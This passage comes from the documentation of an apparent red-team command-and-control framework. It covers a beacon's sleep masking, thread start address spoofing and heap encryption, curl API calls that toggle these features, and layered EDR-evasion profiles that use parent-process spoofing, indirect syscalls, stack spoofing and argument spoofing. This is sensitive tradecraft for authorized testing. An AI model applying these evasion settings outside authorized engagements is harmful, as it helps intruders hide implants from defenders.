B->>TS: 2. SpoofThreadStartAddress() / RotateThreadStartSpoof()
Note over TS: First call: spoof all threads<br/>Subsequent: rotate to new exports
B->>S: 3. Sleep (SleepEx or timer_queue)
Note over S: Beacon is dormant<br/>Memory encrypted, threads spoofed
S-->>B: Wake
Note over B: Post-wake phase
B->>TS: 4. UnspoofThreadStartAddress()
Note over TS: Restore original Win32StartAddress values
B->>HE: 5. DecryptHeapRegions(key+IV)
Note over HE: Decrypt with same key+IV, then zero key Order rationale:
- Heap encryption before thread spoofing -- Ensures sensitive memory is encrypted even if thread spoofing encounters an error
- Unspoof before decrypt -- Restores thread state before the beacon needs to access heap data for task processing
- Errors in either subsystem are non-fatal: the sleep mask pipeline falls back to regular sleep and ensures cleanup via deferred panic recovery
Configuration Toggles¶
Both features are controlled independently via sleep_config sub-commands:
sleep_config thread_spoof on
sleep_config thread_spoof off
sleep_config heap_encrypt on
sleep_config heap_encrypt off
API example:
# Enable thread start address spoofing
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "sleep_config thread_spoof on"
}'
# Enable heap encryption
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "sleep_config heap_encrypt on"
}'
Use sleep_config (no arguments) to verify the current state of both settings alongside all other sleep mask options.
Recommended Evasion Profiles¶
Use these profiles as starting points for different engagement scenarios.
Lab / Testing (No Evasion)¶
Default settings with a fast callback for rapid iteration.
Standard Engagement (Moderate Evasion)¶
sleep 60 25
ppid 4892
spawnto x64 C:\Windows\System32\RuntimeBroker.exe
blockdlls start
syscall-method indirect
sleep_config sleep_mask on
EDR-Heavy Environment (Maximum Evasion)¶
sleep 300 40
ppid 4892
spawnto x64 C:\Windows\System32\RuntimeBroker.exe
blockdlls start
syscall-method indirect
beacon_gate enable
beacon_gate mask_on_call true
sleep_config sleep_mask on
sleep_config heap_mask on
sleep_config stack_spoof on
sleep_config stack_depth 0
sleep_config method timer_queue
sleep_config thread_spoof on
sleep_config heap_encrypt on
safe_http on
scatter_alloc on
anti_analysis on
hwbp both on
argue net1.exe /enum /domain
Layered approach
Start with minimal evasion and add layers as needed. Over-evasion increases the chance of stability issues (especially stack masking and timer queue sleep) and makes debugging harder during an engagement. Use opsec to audit your current configuration and identify gaps.